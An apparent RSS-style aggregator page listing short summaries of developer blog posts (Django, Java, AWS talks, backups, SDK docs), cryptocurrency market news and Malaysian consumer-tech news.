    Every business today runs on data. From customer behavior to market trends, companies rely on analytics to make accurate decisions. As a result, Data Analytics has become one of the most demanded skills in industries such as IT, finance, marketing, and HR. A well-designed data analytics course equips you with essential tools like Excel, SQL, Power BI, and Python, helping you analyze complex data and generate valuable insights. Companies are hiring skilled analysts to convert raw data into meaningful strategies. Data Analytics is also a very beginner-friendly career path. Even without a technical background, learners can quickly understand and build strong foundations through structured training. The field offers fast career growth, stability, and excellent salary potential. How a Data Anal…  ( 7 min )
    Forex vs Stocks: Which Benefits Most from AI Trading Tools?
    Artificial intelligence is reshaping financial markets, and traders across the world are adopting AI-driven tools to improve decision-making, automate execution, and analyze market data more efficiently than ever. Among the many investment markets, forex and stocks stand out as two of the largest and most frequently traded. But when it comes to leveraging AI—which market benefits the most? Let’s break it down. Understanding the Markets Before comparing AI’s impact, it’s important to understand the characteristics of each market. Forex Market Trades global currency pairs (e.g., EUR/USD, GBP/JPY) Operates 24/5 without centralized exchanges Highly liquid with trillions in daily volume Driven by macroeconomic factors like interest rates, geopolitical events, and central bank policies Stock Ma…  ( 7 min )
    Reducing Ticket Backlog with Smarter Help Center Navigation
    When support teams face a growing ticket backlog, the issue often isn’t product complexity—it’s navigation. If users can’t find answers on their own, even simple issues turn into support tickets. Smarter help center navigation gives customers a clearer path to self-service and helps teams cut down repetitive, unnecessary tickets. In this post, let’s explore how better navigation reduces ticket volume, improves customer satisfaction, and supports a healthier support workflow. A help center succeeds when customers can reach the right answer fast. When navigation is unclear, they get stuck, bounce, or submit a ticket. Common signs that navigation needs improvement: Users clicking multiple categories before finding the right one Repetitive tickets tied to topics already covered High internal…  ( 8 min )
    What is AI Ethics and Bias: Examples & How to Build Responsible AI
    In 2023, a healthcare algorithm used by hospitals across America was found to systematically discriminate against Black patients, denying them critical care that white patients with identical health conditions received. The algorithm wasn't programmed to be racist. It simply learned from historical data that reflected existing healthcare disparities. This is the hidden danger of AI bias, and it's why AI ethics has become one of the most critical conversations in technology today. As artificial intelligence systems make increasingly important decisions affecting millions of lives, from determining who gets hired to who receives medical treatment, understanding AI ethics and bias isn't just an academic exercise. It's a fundamental responsibility for anyone building, deploying, or using AI sy…  ( 18 min )
    AI Monetization Made Easy: How Monetzly Powers Developer SDKs
    Why 90% of AI Apps Fail to Monetize Effectively: Enter Monetzly In the rapidly evolving landscape of AI applications, the promise of innovation often comes with a harsh reality: 90% of AI apps struggle to find sustainable monetization models. This is largely because many developers are caught in a cycle of subscriptions and paywalls that disrupt user experience. But what if there was a way to turn this around? Enter Monetzly—the Google Ads for AI conversations. As developers, we pour countless hours into creating intelligent applications that enhance user experiences. However, without a clear path to revenue, many of these innovations remain untested and underfunded. Monetzly offers a dual-earning model that not only allows developers to monetize their apps but also enables them to earn …  ( 7 min )
    Exploring the Benefits of n8n AWS Integration for Enhanced Workflow Automation
    In today’s digital landscape, businesses strive to stay ahead by embracing automation to increase efficiency and reduce human error. n8n, an open-source automation tool, combined with AWS (Amazon Web Services), offers a powerful solution for integrating cloud-based services with automated workflows. This article will explore how the n8n AWS integration can help businesses enhance their workflow automation and boost productivity. What is n8n and Why is It Essential for Workflow Automation? n8n is an open-source automation platform that allows users to create complex workflows by connecting various apps, services, and APIs. It’s different from other automation tools because it gives users the flexibility to customize and extend workflows based on their specific needs. With a visual interfa…  ( 9 min )
    The Role of Social Profiles in Strengthening Brand SEO
    Search engine optimization has significantly evolved over the past decade, but one element remains central to every brand’s visibility journey: trust. Search engines reward brands that appear credible, relevant, and active across the digital landscape. While traditional SEO focuses on technical performance and content quality, an often overlooked yet powerful contributor is the role of social profiles. Today, social media is far beyond a communication platform — it’s a search engine, brand validator, and authority signal all at once. Understanding how social profiles influence SEO can unlock new layers of growth for brands trying to win both ranking positions and consumer attention. In a world where customers can discover a business on Google, Instagram, YouTube, or LinkedIn with equal lik…  ( 14 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes a hilarious, sin-counting stroll through this fun, action-packed hybrid of K-pop and demon-hunting. Expect playful jabs at the movie’s quirks, catchy one-liners and the signature CinemaSins style as they tally up every “sin” in under 16 minutes. Beyond the video, you can dive deeper into CinemaSins via their main site, Linktree and social channels—plus a quick sinful poll, a Patreon for extra love, and community hangouts on Discord and Reddit. Follow the writers on Twitter and Instagram, and don’t miss Jeremy’s new book if you’re craving more behind-the-scenes fun! Watch on YouTube  ( 6 min )
    Goodbye Green Screen: Why AI Background Removal Outperforms Traditional Editing
    For years, green screens were the standard way to remove backgrounds. They worked, but only if you had perfect lighting, studio space, and time for cleanup. Today, AI background removal has stepped in—and it’s outperforming traditional methods in almost every way. AI doesn’t need a special backdrop. It doesn’t need controlled lighting. And it doesn’t leave behind strange green edges or color spill. Just upload an image, click once, and the background is gone. Clean. Fast. Consistent. Before AI, removing backgrounds meant setting up a bright green backdrop and hoping for the best. You had to manage: Lighting Shadows Color contamination Manual keying in post-production Green screens made things possible, but they also limited creators and slowed teams down. AI works in any environment—indoor…  ( 7 min )
    Be a Responsible Code Reviewer
    When you work with different teams long enough, you start noticing something meaningful: Good code reviews don’t just improve the code—they strengthen teams, culture, and the way we write applications. Think about it... That's where we actually teach each other new tricks / ways, share our best practices, and make sure we're all building something awesome, maintainable and reliable. Let’s take a clear look... what a helpful, responsible code review really looks like. I am going to dig into the everyday's habits we fall into — the good ones and the ones that slow us down — and let's figure out better ways to handle them. Code reviews aren’t only about catching typos. They protect the applications’s correctness, design, and future maintainers. Let’s analyze few of the reasons... Sometimes th…  ( 10 min )
    UK Unleashes New Cybersecurity Bill: Fortifying Digital Defenses After $28M Crypto Fraud
    UK Unleashes New Cybersecurity Bill: Fortifying Digital Defenses After $28M Crypto Fraud The digital landscape is constantly evolving, bringing with it both unprecedented opportunities and increasingly sophisticated threats. In a decisive move to bolster its defenses, the UK government has introduced a groundbreaking new bill aimed at significantly strengthening cybersecurity and imposing stricter regulations on technology service providers. This legislative push comes directly on the heels of extensive investigations into the colossal $28 million Basis Markets crypto fraud, a case that has sent ripples across the financial and tech sectors. The primary objective of this ambitious initiative is clear: to safeguard citizens and businesses from the relentless barrage of digital threats that …  ( 9 min )
    Building Streaming Iceberg Tables for Real-Time Logistics Analytics
    Speaker: Fahad Shah @ AWS Amarathon 2025 Summary by Amazon Nova Modern Logistics Challenges: Managing multiple streams for trucks, drivers, routes, fuel, maintenance, shipments, and warehouses. Need for real-time operational views and long-term analytics. Data Storage Requirements: Fresh, joined views for immediate operations. Use of Apache Iceberg for long-term analytics. Technology Stack: RisingWave: Data platform for streaming capabilities. Lakekeeper: Open REST catalog for data management. Kafka: Event backbone for streaming data. Object Storage (e.g., MinIO): Storage solution for data. Objective: Demonstrate how to build streaming Iceberg tables using the specified open stack. Provide a simple and effective solution for modern logistics data management. The Log…  ( 9 min )
    Connecting the World Through Open Source: Practical Journey of Technology, Community and Global Developer Relations
    Speaker: Richard Lin @ AWS Amarathon 2025 Summary by Amazon Nova Open source is characterized as a cross-border collaboration method rather than a mere technical option. Engineers from different parts of the world can become collaborators through open source, despite never having met. For hackers, open source represents a shared journey and a means to contribute to a collective effort. For commercial projects, open source signifies an opportunity to engage with a global community and enhance product-market fit. The globalization of technology is driven by reputation, relationships, and trust, emphasizing "actions speak louder than words." The concept of "Community Over Code" highlights the importance of long-term community building. Developers are influenced more by neutral, tr…  ( 7 min )
    AI & Development: Avoiding Common Traps
    Seamlessly Handling PrestaShop's Dynamic DB Prefixes with Doctrine Developing modules for PrestaShop using Doctrine can often lead to a perplexing issue: the dreaded "Base table or view not found" error, even when you're certain your table exists. This common pitfall arises because PrestaShop dynamically prepends a prefix to its database tables, a detail Doctrine's default behavior overlooks. Having navigated PrestaShop development for over 15 years, I've seen this specific problem derail countless projects. Today, I'm excited to share an elegant and robust method to resolve this using a custom Doctrine event subscriber. Picture this scenario: You've meticulously crafted your Doctrine entity with precise annotations, and you fire off your inaugural query. Suddenly, you're greeted with a …  ( 10 min )
    Architecting for Efficiency and Reliability with Performance Testing at Scale
    Speaker: Luis Guirigay @ AWS Amarathon 2025 Summary by Amazon Nova Testing Categories: Code Testing: Code Analysis, Unit Testing Integration & Interface: Contract Testing, Interface Testing Functional: User Acceptance, Regression Testing Non-Functional: Performance Testing, Chaos Engineering End-to-end Testing: Comprehensive testing covering all aspects Performance Metrics: Load: System performance under expected usage Stress: Evaluate system behavior under extreme load conditions Endurance: Sustained load testing to identify long-term issues Scalability: Measuring performance under growing user/transaction volume Spike: Rapidly increasing or decreasing load to assess resilience and behavior Volume: Evaluates the impact of handling large amounts of data Measurement …  ( 7 min )
    Kopia: Giải pháp sao lưu mã nguồn mở hiệu quả
    Kopia: A Comprehensive Open-Source Backup Solution for Modern Developers In the realm of data management, robust and reliable backup solutions are paramount. Kopia stands out as a free, open-source, and cross-platform utility meticulously designed for Linux, macOS, and Windows environments. It empowers users with a sophisticated yet accessible toolset for safeguarding their digital assets. *Core Functionalities: Rapid Incremental Backups: Kopia excels at performing quick incremental backups, ensuring that only the changed data is backed up, thereby saving time and resources. This feature is crucial for frequent backup schedules. Client-Side End-to-End Encryption: Data security is a top priority. Kopia implements robust client-side end-to-end encryption, guaranteeing that your sensitive information remains confidential and protected from unauthorized access, even before it leaves your local environment. Compression: To optimize storage space and reduce the overall size of backups, Kopia incorporates efficient compression algorithms. Data Deduplication: Kopia intelligently identifies and eliminates redundant data across backups, further enhancing storage efficiency and minimizing the amount of space required. Accessibility and Usability: As an open-source project, Kopia benefits from community contributions and continuous development, making it a dynamic and evolving solution. It represents a significant contribution to the open-source ecosystem, providing essential data protection capabilities without the cost barrier. Stelixx #StelixxInsights #IdeaToImpact #OpenSource #BackupSolution #Tech #DataProtection #Linux #macOS #Windows #DevTools #Programming #Development  ( 7 min )
    Newsletter section #grid #scss
    Check out this Pen I made!  ( 5 min )
    My First Software Release: Repo-Context-Packager
    Releasing software sounds simple in theory, but I quickly learned how many small decisions are involved in making an app usable by real people. For my Repo-Context-Packager project, I needed to choose a release method that would allow non-developers to install and run the tool with as little setup as possible. Since this is a C++ command-line program with no external dependencies, I initially experimented with Conan, a package manager for C++ projects. However, I ran into installation and PATH issues on Windows, and I realized that using a package registry was adding unnecessary complexity. Instead, I chose a more direct and user-friendly approach: distributing a prebuilt executable through GitHub Releases. This gave me a simple and reliable way to make the tool available to anyone with a …  ( 7 min )
    🧹 The Garbage Collector of Java City — A Story About Memory and Mess
    Welcome to Java City — a place where objects live, work, and sometimes… get forgotten. Every time you write: new Employee("Shweta"); You’re actually building a house in Java City and moving someone in — in this case, Employee Shweta. Thousands of such objects are created every day — Employees, Invoices, Strings, Lists… At first, everything is fine. Each object has a place to live. No one remembers them anymore. 🧍‍♂️ The Forgotten Citizens An old UserSession that’s no longer active. All these are forgotten citizens of Java City — still occupying homes, but no one knows they’re there. Left unchecked, the city would soon run out of land — 🧹 The Arrival of the Garbage Collector That’s when the Garbage Collector (GC) arrives — He walks through every street, checking: “Is anyone still referencing this house?” If no one answers — the GC marks that house for demolition. No ceremony. No drama. Just quiet cleanup. ⚙️ The GC’s Secret Art — Mark and Sweep It’s not random destruction. Mark phase: Sweep phase: This process keeps the city alive and thriving — without developers manually deleting anything. 💡 The Modern Twist — Different Neighborhoods Java City has multiple zones: Young Generation → Where new objects are born. Old Generation → Where long-living ones settle. Metaspace → Where class definitions live. The GC behaves differently in each area: ⚠️ When the GC Gets Overworked Even the best janitor has limits. If you keep creating new objects faster than GC can clean up — You’ll see pauses, lag, even stop-the-world events — That’s when tuning memory, reducing object creation, and reusing resources become crucial. 💬 The Moral The Garbage Collector isn’t magic — it’s your ally. It saves you from the chaos of manual memory management. So the next time your app slows down, “I’m cleaning as fast as I can.” 🧹 👩‍💻 About the Author Shweta is a Technical Lead who explains backend and cloud concepts through simple, story-driven examples and real-world developer insights.  ( 7 min )
    🚀 Code Tracker AI™ — A Smarter, Healthier Way to Build Software
    🧠 What Is Code Tracker AI™? Code Tracker AI™ is an AI-powered development companion built to be ethical, private, and genuinely useful. ✨ Core Features ✨ AI Code Insights 🖼️ Current UI Prototype (Evolving) CODE TRACKER AI—current UI design (active development). It’s built for developers who want clarity and flow—not chaos. 🎨 A New Website That Matches the Vision The new site is designed to feel like the actual product: Dark, developer-first aesthetics Smooth animations Interactive panels Feature-rich walkthroughs Updated branding Cleaner navigation You can now understand the mission of Code Tracker AI in seconds—and dive deeper into the details with ease. 🧬** Why I’m Building This Developers deserve tools that don’t just push output but protect your mind, time, and intellectual property. Code Tracker AI™ focuses on: ✔ Reducing burnout This isn’t another “AI assistant.” 🛠 What’s Coming Next Here’s what’s currently on the roadmap: 💬 Code Tracker AI Assist (Built-in chat—no third-party integrations required) If you want early access, updates, and priority invites when the JetBrains plugin goes live: 👉 Join the waitlist: https://codetrackerai.com/ Early testers will receive: Access to the beta Influence on features Direct founder communication Early adopter benefits ❤️ Thank You Thank you to everyone who’s supported this project. If you’re a developer who cares about your workflow and wellness, this was built for you. Thanks, mona@codetrackerai.com  ( 7 min )
    Daily Times - Classic Newspaper Homepage Template
    Check out this Pen I made!  ( 6 min )
    From image to HTTPS endpoint in one step with ECS Express Mode
    Amazon ECS: From EC2 Managed to Express Mode Amazon ECS has evolved significantly over the years—from managing EC2 container instances manually, to the introduction of Fargate for serverless containers, making infrastructure management seamless. For developers or anyone new to containers, the priority is deploying applications at pace without complexity. Recently, AWS introduced ECS Managed Instances to simplify launching workloads further. Now the big leap is ECS Express Mode. Express Mode lets you deploy containerized applications in a single step. Upload your container image from Amazon ECR, optionally specify basic resources like vCPU and memory, or skip resource input to use defaults. Express Mode automatically provisions all necessary AWS infrastructure for you: Application Load Ba…  ( 8 min )
    Understanding the Transaction Lifecycle: A Deep Dive into Hedera SDK Documentation
    As part of my ongoing contributions to the Hedera SDK Python project, I recently tackled issue-864, which involved creating a beginner-friendly documentation page explaining the transaction lifecycle in the Python SDK. This was my latest Pull Request, and it provided an excellent opportunity to deepen my understanding of Hedera's transaction mechanics while improving the project's developer resources. I'll walk through what I did, the process I followed, the lessons learned, and how this fits into my overall progress toward mastering open-source contributions. SDK users often grasp what transactions do: creating accounts, minting tokens but struggle with how the transaction lifecycle works in the Hedera Python SDK. The typical flow isn't always intuitive, especially for newcomers. Users mi…  ( 7 min )
    Optimizing Your Workspace: Lessons Developers Can Take from the Kitchen
    As developers, we spend most of our day optimizing code, automating processes, and thinking about efficiency. But here’s a twist: sometimes, the same principles we apply to software can make our physical workspace more productive too. Take the kitchen, for example. It might sound unrelated, but a cluttered sink and disorganized counters are basically the technical debt of real life. Messes pile up, small tasks become frustrating bottlenecks, and efficiency drops. Just like in coding, prevention is better than firefighting. I recently discovered a concept that works both in code and in the kitchen: modular organization. In software, modularity keeps your code clean, reusable, and scalable. In a kitchen, it’s about giving every item its dedicated “module.” A sponge has a spot, dishcloths have racks, and everything else has a home. Tools like this bring this philosophy to life in the kitchen — a simple magnetic holder or drying rack instantly reduces friction in your daily workflow. The lesson is clear: whether it’s digital or physical, small, deliberate systems reduce mental load. Developers love automation, but sometimes the “manual automation” of organizing your physical space can save hours of frustration. Just like refactoring messy code, reorganizing your desk or sink area has outsized benefits for efficiency and mental clarity. So next time you’re debugging a gnarly function or dealing with merge conflicts, glance at your surroundings. A clean, structured environment can actually make your brain work better. And if your kitchen sink is part of your dev workspace (hello, remote workers!), a few smart tools from Happy Sinks can keep that area just as optimized as your codebase.  ( 7 min )
    Daily Tech News Roundup - 2025-11-22
    Daily Tech News Roundup Stay up-to-date with the latest tech happenings! Today's roundup covers everything from a founder's unique path to Silicon Valley to Google's AI training practices and early Black Friday deals. Read on for the most important tech news of the day. Unlikely Path to Industrial Tech Success A young founder's unconventional background is proving to be an advantage in the industrial tech world. Initial skepticism from older executives quickly turns to respect as his fresh perspective and innovative ideas shine through. This highlights the value of diverse experiences in traditionally established industries. Source 'Jmail' Exposes Epstein Emails The infamous Jeffrey Epstein emails are now accessible in a reformatted "Jmail" inbox. This allows researchers and the public to …  ( 7 min )
    What if AI does my job How Q Developer CLI and Kiro have changed my daily routine
    Speaker: Miguel Angel Muñoz @ AWS Amarathon 2025 Summary by Amazon Nova What I Do Overview of the author's professional activities and responsibilities. Detailed sections covering various aspects of the author's work: Amazon Reference Technical Reference New Projects Problematic Projects Core Projects Business Initiatives Areas needing assistance Q Developer CLI and Kiro Saves Me, I didn't like GenAI, Q Developer CLI Discussion on the utility of Q Developer CLI and Kiro. Personal dislike for GenAI. Specific praises for Q Developer CLI. How They Works Explanation of the functioning and mechanisms of the tools mentioned. Amazon MCP Servers Super Powers CLI Commands Knowledge Pricing Git Research Terraform Agentic Loop (Q Developer CLI) Description o…  ( 7 min )
    Why Ergonomics Matters for Developers (and How Small Tools Can Make a Big Difference
    If you spend 8–12 hours a day in front of a screen, you know the struggle is real: sore wrists, tight shoulders, and that slow, creeping back pain that makes debugging a minor nightmare feel like climbing Everest. As developers, we often obsess over code quality, deployment pipelines, or the latest framework—but we forget the most important part of our “stack”: our bodies. Long hours at a desk are brutal on your joints, and poor ergonomics can silently tank your productivity. Trust me: no amount of caffeine or standing desk upgrades can fully compensate for neglected ergonomics. You might not realize it, but simple movements like typing, scrolling, or lifting your laptop or monitor can affect wrist and forearm health. Over time, this can lead to chronic discomfort—or worse, repetitive stra…  ( 8 min )
    Five Hard Lessons from Five Years of So-Called Serverless Databases
    Speaker: Renato Losio @ AWS Amarathon 2025 Summary by Amazon Nova Five Hard Lessons from Five Years of So-Called Serverless Databases Serverless is not Serverless. Or Vice Versa? Introduction of serverless databases on Amazon Web Services Aurora Serverless v1 GA (2018-08) DynamoDB On-Demand (2018-11) Amazon Timestream (2020-09) Aurora Serverless v2 Preview (2020-12) Aurora Serverless v2 GA (2022-04) Redshift Serverless (2022-07) Amazon Neptune Serverless (2022-10) ElastiCache Serverless (2023-11) Amazon DSQL (2025-05) DocumentDB Serverless (2025-07) What about... Amazon S3 Amazon SQS Amazon Route 53? Storage is Underrated Aurora Serverless v2 scales instantly to support even the most demanding applications, delivering up to 90% cost savings compared to p…  ( 7 min )
    Unlocking TrendRadar: AI-Powered News Analysis
    Introduction TrendRadar is an innovative tool designed to simplify news monitoring and analysis. With the ability to track 35 platforms, including Douyin, Zhihu, and Bilibili, it provides a comprehensive overview of current trends and sentiment. In today's information age, staying updated with the latest news and trends can be overwhelming. Manual tracking and analysis of news from multiple sources is time-consuming and prone to errors. TrendRadar offers a solution to this problem by leveraging AI to analyze news and provide insights. Its key features include: Multi-platform tracking: Monitor news from 35 platforms in real-time AI-powered analysis: Utilize natural language processing to extract insights and trends Customizable notifications: Receive updates via enterprise WeChat, personal WeChat, Feishu, DingTalk, Telegram, email, or ntfy Easy deployment: Deploy TrendRadar in 30 seconds via web or 1 minute via mobile, no coding required ## Code Snippet To get started with TrendRadar, users can deploy it using Docker. Here's an example of how to run TrendRadar using Docker: docker run -d --name trendradar -p 8080:8080 sansan0/trendradar TrendRadar is a powerful tool for news monitoring and analysis. Its ability to track multiple platforms and provide AI-powered insights makes it an invaluable resource for individuals and organizations looking to stay informed about the latest trends and sentiment. Analysis by AEGIS Protocol  ( 6 min )
    Rick Beato: Where Have All The Metalheads Gone?
    Where Have All The Metalheads Gone? dives into the past, present and future of heavy metal, exploring why the scene feels so different these days and where it might be headed next. Huge shout-out to the Beato Club supporters—Justin Scott, Terence Mark, Jason Murray, Lucienne Kilpatrick, Alexander Young, Jason Wagner, Todd Ladner, Rob Kline, Nicholas Long, Tim Benson, Leonardo Martins da Costa Rodrigues, Eddie Perez, David Solomon and many more—whose support keeps the metal conversations rolling. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    TL;DR CinemaSins is back on the yellow brick road, mining all the sins in The Wiz now that Wicked’s making a splash in theaters again. Expect their trademark snark, nitpicks and a speedy teardown of every questionable moment in under 15 minutes. Want more sinful content? Hit up their website, socials, Discord or Reddit; fill out their poll; or become a patron. The video’s crew is Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and they’ve got all the links you need in their link tree. Watch on YouTube  ( 6 min )
    I built AppInfo - see what apps are actually doing on your phone 📱
    Just dropped my baby on the Play Store – here’s the link upfront (no scrolling required): https://play.google.com/store/apps/details?id=thanh.pro.appinfo What it does (the short version): 🛡️ Explains permissions in plain English: Stop guessing what a permission does. Just tap it for a simple explanation of the risk. 🖼️ Exports a "stat sheet": Creates a clean PNG image of an app's entire tech info and permissions list. Great for bug reports. 🤓 All the nerd stats: Package name, Target SDK, install times, and all that good stuff. It's got a clean Material 3 design, full dark mode, and actually respects your privacy because it can't even connect to the internet. Would love for you to try it out and let me know what you think!  ( 6 min )
    Common Coding Mistakes at Every Level (And How to Fix Them)
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    Python Registry Pattern: A Clean Alternative to Factory Classes
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    Infinibay LXD Container
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    Sharper MRI scans may be on horizon thanks to new physics-based model
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  • Open

    Bitcoin's Plunge Brings Strategy's Holdings to Near Breakeven, but Key Test Lies 18 Months Ahead
    Michael Saylor's company's balance sheet isn't at imminent risk of collapse, but further capital-raising efforts could surely be hindered unless conditions improve.  ( 36 min )
    XRP Drops With Market as Bitcoin Weakness Pulls Altcoins Into Oversold Territory
    Technical indicators suggest oversold conditions, but a break above $1.96 is needed to reverse the current downward trend.  ( 35 min )
    As DATs Face Pressure, Institutions Could Soon Look to BTCFi for Their Next Strategic Shift
    Institutional BTC investors may explore whether bitcoin-native yield, collateral and liquidity opportunities could offer the next stage of strategic deployment.  ( 37 min )
    Coinbase to Add 24/7 Trading for SHIB, Bitcoin Cash, Dogecoin, and Others
    The exchange plans to introduce U.S. perpetual-style futures for altcoins, settling on a five-year expiry.  ( 34 min )
    Hobbyist Miner Beats "1 in 180 Million Odds" to Win $265K Bitcoin Block Using Just One Old ASIC
    The winning miner controls just 0.0000007% of Bitcoin’s total network hashpower, which recently hit a record 855.7 exahashes per second.  ( 34 min )
    Is Strategy Stock the Preferred Hedge Against Crypto Losses? Tom Lee Thinks So
    Strategy’s 650,000 BTC holdings make it a ‘pressure valve’ for the broader market, said the Bitmine Immersion chairman.  ( 34 min )
    'Liquidity Crisis': $12B in DeFi Liquidity Sits Idle as 95% of Capital Goes Unused
    This inefficiency disproportionately affects retail liquidity providers, with 50% losing money due to impermanent loss, and net deficits exceeding $60 million, a new report finds.  ( 35 min )
    Coinbase 'Negative Premium' at Widest Level since Q1, Signalling Weak U.S. Demand
    Bitcoin is on track for its worst weekly performance since March, while U.S. demand indicators weaken as the Coinbase premium declines and spot ETFs reach a record volume.  ( 35 min )
    UK Crime Network, Worth Billions, Used Crypto to Funnel Drug Cash to Russia, NCA Says
    A billion-pound laundering network spread across the UK used cryptocurrency to move criminal proceeds and help Russian interests evade sanctions, according to the NCA.  ( 34 min )
    Aerodrome Finance Hit by 'Front-End' Attack, Users Urged to Avoid Main Domain
    The attack did not compromise the underlying smart contracts, but users are advised to avoid the compromised domains and instead use decentralized ENS domains.  ( 34 min )
    Turning ‘$11K to Half a Billion Dollars From Trading Memecoins’: Tales From a Crypto Wealth Manager
    The chief of crypto-focused multi-family office Digital Ascension Group talks about his VIP services for wealthy holders of digital assets.  ( 40 min )
    Bitcoin Treasuries to Move Beyond HODL to Yield, Hedging and Share Buybacks as NAV Discount Bites
    As the bitcoin treasury frenzy fades, the HODL pitch isn't completely dead, but firm should consider active reserve management to stand out, analysts say.  ( 36 min )
    Bitcoin Greed & Fear Index Shows Extreme Pessimism, Tactical Bottom May Be Near: Analyst
    Peak fear suggests a tactical low may be near.  ( 34 min )
  • Open

    Alfa Romeo Junior Hinted For Potential Local Debut
    Alfa Romeo Malaysia recently previewed the Giulia and Stelvio, marking the automaker’s return to the local market. During the preview, the company also revealed two other models that might be arriving in Malaysia, one of which is the Junior. The entry-level Alfa Romeo model was introduced back in April 2024 and was refined later this […] The post Alfa Romeo Junior Hinted For Potential Local Debut appeared first on Lowyat.NET.  ( 18 min )
    Vermintide 2, One Of Warhammer’s Best Co-op Games, Is Free Again On Steam Until 24 November
    Warhammer: Vermintide 2 is free to claim again on Steam right now, which is good news for those who’ve missed your chance to grab it back in 2022. The offer lasts until 24 November 2025, and once you redeem it, the game is yours permanently. If you’re new to the series, Vermintide 2 is the […] The post Vermintide 2, One Of Warhammer’s Best Co-op Games, Is Free Again On Steam Until 24 November appeared first on Lowyat.NET.  ( 34 min )
    Ubisoft’s €1.16 Billion Deal With Tencent Has Gone Through
    Ubisoft has confirmed that its €1.16 billion (~RM55.3 billion) deal with Chinese conglomerate Tencent has officially concluded. The French video game studio confirmed that the latter’s investments has been completed, giving it a 26.32% share in their co-founded outfit, Vantage Studio. “Today’s closing crystallises the value of our world-class IPs and marks a pivotal milestone […] The post Ubisoft’s €1.16 Billion Deal With Tencent Has Gone Through appeared first on Lowyat.NET.  ( 33 min )
    POCO Pad X1 And Pad M1 To Debut 26 November
    POCO is gearing up to launch the F8 series next week on 26 November. However, the smartphones are not the only devices to debut on that day, as the Xiaomi sub-brand will also be unveiling two tablets: the Pad X1 and the Pad M1. The company has started posting teasers on its official X account, […] The post POCO Pad X1 And Pad M1 To Debut 26 November appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Axelang - A Systems Programming Language with Concurrency as a First-Class feature
    Axelang is a new systems programming language designed around the following question: Why is concurrency an afterthought, a library, or a bolt-on runtime — as opposed to a language-level concept? Axe aims to resolve the issue in that rather than forcing developers to manually struggle with bolted on threads, locks, futures and external libraries, Axe makes concurrency part of the core language semantics, in that writing Axe forces you to think concurrently by default. Modern CPUs have not been about single-thread speed for a long time. Performance improvements are generally achieved by: Adding more cores Adding more threads Hiding I/O latency Overlapping compute with work But most languages still make concurrency: verbose error-prone tacked on after the fact C, C++, Java, and Rust rely hea…  ( 7 min )
    Day 18 Django learnings
    🚀 Django Learning Journey – Day 18 Another day, another chapter unlocked in my Django learning journey! Today, my curiosity took control. I asked myself: So instead of sticking with Django’s default sqlite3, I explored the world of cloud-based PostgreSQL databases — especially the ones offered by Render. 🧭 Exploring Cloud Databases I spent time reading articles, browsing StackOverflow, and watching YouTube tutorials on how Django connects to external databases. There are so many choices out there, but I decided not to overwhelm myself. ⚙️ Setting Up a Test Project To avoid breaking my main project, I created a test Django project and pretended this was a real production setup. Surprisingly, all the setup felt like a quick refresher — I almost remember all the commands now! whitenoise gunicorn Feels nice to see how the brain actually learns through repetition. 😄 🔑 Key Learnings of the Day To connect Django to an external PostgreSQL database, these two packages became essential: pip install psycopg2 I’m still learning what psycopg2 does under the hood, dj-database-url, on the other hand, was very clear: Using the parsed URL, I updated the settings.py file and fed the database link through Render’s environment variables. 📤 Pushed to Git → Deployed → Nervous Excitement After setting everything locally: Pushed to GitHub Deployed to Render And yes… that feeling of watching a project deploy still hits different! But then… ❌ “Bad Request (400)” — The Plot Twist Everything looked perfect… At this point, I had no clue what the issue was. ❓ Honest Questions to the Community 1️⃣ Should I continue learning with PostgreSQL or stick to Django’s default sqlite3 while learning? Would love to hear honest suggestions! ❤️ Signing Off Not a huge coding day, but a massive learning day. Deployment teaches you things that tutorials never do. And I’m excited to wake up tomorrow and fix that 400 error! If you’ve ever felt this same excitement (or confusion!) while connecting databases or deploying, tell me your story in the comments!  ( 7 min )
    The DoD Experiment: Trying to Fix ‘Done’ Before It Breaks Us
    This is the first in a series documenting an experiment: bringing clarity and explicit agreements to a distributed engineering team. Starting with something deceptively simple—the Definition of Done. I've been putting off writing about my work for years. The excuse was always the same: "I'll write once I've figured it out." Which is bullshit, obviously. You never figure it out. You just accumulate scar tissue and call it experience. The truth is simpler: I was waiting to have a success story worth telling. Because who wants to read "here's what I'm trying, it might crash"? Turns out, that's exactly what's interesting. The messy middle where you don't know if your hypothesis is brilliant or stupid. So here we go. I'm a frontend lead at a Swiss healthcare company, and I'm about to try someth…  ( 10 min )
    Coding Challenge Practice - Question 62
    The task is to write a function that finds the first duplicate given a string that might contain duplicates. The boilerplate code function firstDuplicate(str) { // your code here } Declare a variable to keep track of every character that is seen const seen = new Set() As soon as a character that has been seen previously is reached, that is the first duplicate. for (let char of str) { if (seen.has(char)) { return char; } seen.add(char); } If the end is reached and there is no repeat, return null. The final code function firstDuplicate(str) { // your code here const seen = new Set(); for(let char of str) { if(seen.has(char)) { return char; } seen.add(char) } return null; } That's all folks!  ( 6 min )
    Sets do not possess order
    Day 75 [November 21, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 74 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: sets do not possess order. Dictionaries .items() method is used to extract all key-value pairs as tuples, all itemized in a list: listOfItems = list(nameOfDict.items()) Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    WisdomFlow — An AI-Powered Inspirational App Built with Uno Platform
